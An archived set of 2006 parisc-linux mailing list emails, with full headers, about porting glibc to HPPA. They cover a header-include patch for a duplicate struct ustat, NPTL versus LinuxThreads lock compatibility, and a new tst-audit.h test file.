X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Duplicate ustat structure
Date: Sun, 16 Jul 2006 10:07:25 -0700
Lines: 77
Approved: news@gmane.org
Message-ID: <20060716170725.GA29459@titanium.v3.ca>
References: <20060716160300.GA27091@titanium.v3.ca>
	<jeodvpbj2k.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624128 20177 80.91.229.3 (22 Nov 2014 02:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:08 +0000 (UTC)
Cc: libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: Andreas Schwab <schwab@suse.de>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 17:07:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 16 Jul 2006 19:07:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4B767D6FC;
	Sun, 16 Jul 2006 11:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14737-06; Sun, 16 Jul 2006 11:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36ADF7D6F0;
	Sun, 16 Jul 2006 11:07:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D2D67D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 11:07:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14737-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 11:07:27 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 2BD7E7D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 11:07:27 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k6GH7Qgi031627
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 16 Jul 2006 10:07:26 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k6GH7PiP031626;
	Sun, 16 Jul 2006 10:07:25 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <jeodvpbj2k.fsf@sykes.suse.de>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YUqMDdBuQEVs4OjDZnVp3AFKNzg2NYIZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23812

On Sun, Jul 16, 2006 at 06:39:15PM +0200, Andreas Schwab wrote:

> > The problem is that bits/ustat.h includes the definition of struct
> > ustat.  However, sys/types.h eventually winds up pulling in
> > linux/types.h which also defines struct ustat.
> 
> <sys/types.h> should not include <linux/types.h> in the first place.

It seems like it ought to now that the kernel is exporting a set of
headers that are intended to be used by userspace.  struct ustat is
defined in linux/types.h.

But in general, this is the path by which it gets included:

include/sys/types.h includes thread_db.h

nptl_db/thread_db.h includes procfs.h

ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h includes asm/elf.h for
elf_gregset_t and elf_fpregset_t

asm-parisc/elf.h includes asm/ptrace.h unnecessarily, but relies on it
to pull in linux/types for __u32

asm-parisc/ptrace.h includes linux/types.h for __u64

So the following patch would work instead, but I think this type of fix
used to be right when the kernel folks didn't want to provide userspace
headers.  Now that they are doing so, I think it's more correct for us
to use them.

2006-07-16  Jeff Bailey  <jbailey@ubuntu.com>

	* sysdeps/unix/sysv/linux/hppa/sys/procfs.h: Don't include
	elf.h.
	Declare elf_greg_t, elf_gregset_t, elf_fpreg_t,
	and elf_fpregset_t.

Index: sysdeps/unix/sysv/linux/hppa/sys/procfs.h
===================================================================
RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h,v
retrieving revision 1.2
diff -u -p -r1.2 procfs.h
--- sysdeps/unix/sysv/linux/hppa/sys/procfs.h	6 Jul 2001 04:56:16 -0000	1.2
+++ sysdeps/unix/sysv/linux/hppa/sys/procfs.h	16 Jul 2006 16:57:39 -0000
@@ -34,10 +34,18 @@
 #include <sys/types.h>
 #include <sys/ucontext.h>
 #include <sys/user.h>
-#include <asm/elf.h>
 
 __BEGIN_DECLS
 
+typedef unsigned long elf_greg_t;
+#define ELF_NGREG 80    /* We only need 64 at present, but leave space
+			                              for expansion. */
+typedef elf_greg_t elf_gregset_t[ELF_NGREG];
+
+#define ELF_NFPREG 32
+typedef double elf_fpreg_t;
+typedef elf_fpreg_t elf_fpregset_t[ELF_NFPREG];
+
 struct elf_siginfo
   {
     int si_signo;			/* Signal number.  */


-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: A warning about NPTL pthreaddefs.h
Date: Tue, 18 Jul 2006 03:12:42 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20060718101242.GA12796@titanium.v3.ca>
References: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
	<44BC2900.4030303@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624129 20181 80.91.229.3 (22 Nov 2014 02:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:09 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 10:13:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 18 Jul 2006 12:13:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2B7A7D6D3;
	Tue, 18 Jul 2006 04:13:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30885-09; Tue, 18 Jul 2006 04:13:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1D147D6D4;
	Tue, 18 Jul 2006 04:12:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC3E87D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 04:12:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30885-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 04:12:55 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 931497D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 04:12:55 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k6IACs1S012845
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 18 Jul 2006 03:12:54 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k6IACg2s012843;
	Tue, 18 Jul 2006 03:12:42 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <44BC2900.4030303@tausq.org>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: -1 (Rule filter: cannot connect to skuld service)
X-GMX-UID: cYOOdQMwIyd18PqQe2drt/daa2FkZpVo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23813

On Tue, Jul 18, 2006 at 08:19:12AM +0800, Randolph Chung wrote:
> >A warning that the pthreaddefs.h might be horribly wrong. I remember a
> >long while ago adding padding the structures so they matched the size
> >of the linuxthread types (atleast the lock position).
> >
> >This padding is not correct, we would need to pull into our tree the
> >static mutex initializers so they are correctly sized aswell.
> 
> fwiw,i don't think we need to worry about making the structs the same as 
> linuxthreads (if that is even possible...), after all you cannot run a 
> linuxthreads binary against nptl libs or vice versa...

On other platforms, LT binaries generally run on the NPTL libs.  If we
break this, then there'll be an interesting upgrade problem for the
distros tosolve that they haven't needed to do on other archs.

Tks,
Jeff Bailey

-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: A warning about NPTL pthreaddefs.h
Date: Tue, 18 Jul 2006 10:01:35 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440607180701t27a3443bv8628574815636085@mail.gmail.com>
References: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
	<44BC2900.4030303@tausq.org> <20060718101242.GA12796@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624129 20182 80.91.229.3 (22 Nov 2014 02:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:09 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 14:01:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 18 Jul 2006 16:01:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76A1C7D700;
	Tue, 18 Jul 2006 08:01:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01628-04; Tue, 18 Jul 2006 08:01:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D23257D704;
	Tue, 18 Jul 2006 08:01:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C62867D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 08:01:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01628-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 08:01:36 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by free.linux.hp.com (Postfix) with ESMTP id 720137D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 08:01:36 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so371995ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 07:01:35 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=i4P9f1duCWuIG7KrjGd/HCM5EMfu1N66WAQ7A0ZI/FaHvOcyV1lw3o7yiQAq8d6eDe525eENGQ7j9tBRmZcj/HwIWNj4lSuorGzNNMHw3Eq8+F89a57l8QYmsmcYJMGFIjPXBfYwSrQIDlzHkj+Qv5TqsDMY5xiOBl9S+5gvQv4=
Original-Received: by 10.78.120.6 with SMTP id s6mr1360174huc;
	Tue, 18 Jul 2006 07:01:35 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Tue, 18 Jul 2006 07:01:35 -0700 (PDT)
In-Reply-To: <20060718101242.GA12796@titanium.v3.ca>
Content-Disposition: inline
X-Google-Sender-Auth: a0fad0d2f6d24c9c
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9duPcAZCX1Vp6uuYY2Fymu93SDc4NMwr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23814

On 7/18/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> On other platforms, LT binaries generally run on the NPTL libs.  If we
> break this, then there'll be an interesting upgrade problem for the
> distros tosolve that they haven't needed to do on other archs.

It's technically possible... maybe...

1. Use 1 for locked, and 0 for unlocked in our integer sized locks (to match LT)
2. Add padding in the form of a union, aligned to 16.
3. Select the aligned lock word, but use CAS instead of LDCW.

This would give the same semantics as LT, and probably preserve binary
compatiblity. The only performance loss is calculated the aligned
word.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tst-audit.h missing?
Date: Sun, 16 Jul 2006 11:08:11 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20060716180811.GB29459@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624129 20184 80.91.229.3 (22 Nov 2014 02:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:09 +0000 (UTC)
Cc: libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 18:08:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 16 Jul 2006 20:08:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5387A7D6F5;
	Sun, 16 Jul 2006 12:08:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15440-01; Sun, 16 Jul 2006 12:08:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4D47D6F7;
	Sun, 16 Jul 2006 12:08:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 254297D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:08:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15128-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:08:13 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id E7BF47D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:08:12 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k6GI8CW4001747
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 16 Jul 2006 11:08:12 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k6GI8BZF001746;
	Sun, 16 Jul 2006 11:08:12 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2PXbIP5Ia0Aovr6aejEzmZI3Njh6dA6R
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23815

Carlos,

I don't see sysdeps/hppa/tst-audit.h in my checkout and a grep doesn't
show me anything that might define pltenter, pltexit & friends.  Without
this, elf/tst-auditmod1.c won't compile.

This seems to do the trick:

2006-07-16  Jeff Bailey  <jbailey@ubuntu.com>

	* sysdeps/hppa/tst-audit.h: New file.

--- /dev/null	2006-05-22 07:45:19.000000000 -0400
+++ sysdeps/hppa/tst-audit.h	2006-07-16 13:40:30.000000000 -0400
@@ -0,0 +1,26 @@
+/* Definitions for testing PLT entry/exit auditing.  HPPA version.
+
+   Copyright (C) 2005, 2006 Free Software Foundation, Inc.
+
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#define pltenter la_hppa_gnu_pltenter
+#define pltexit la_hppa_gnu_pltexit
+#define La_regs La_hppa_regs
+#define La_retval La_hppa_retval
+#define int_retval lrv_r28


-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 23:51:05 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <44BD0369.3090905@tausq.org>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624130 20187 80.91.229.3 (22 Nov 2014 02:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:10 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 15:51:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 18 Jul 2006 17:51:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 602FB7D6B1;
	Tue, 18 Jul 2006 09:51:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02077-05; Tue, 18 Jul 2006 09:51:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B2FB7D6C5;
	Tue, 18 Jul 2006 09:51:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 394C87D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 09:51:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02077-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 09:51:19 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id E935A7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 09:51:18 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1G2rqc-0006q5-AZ; Tue, 18 Jul 2006 23:50:58 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
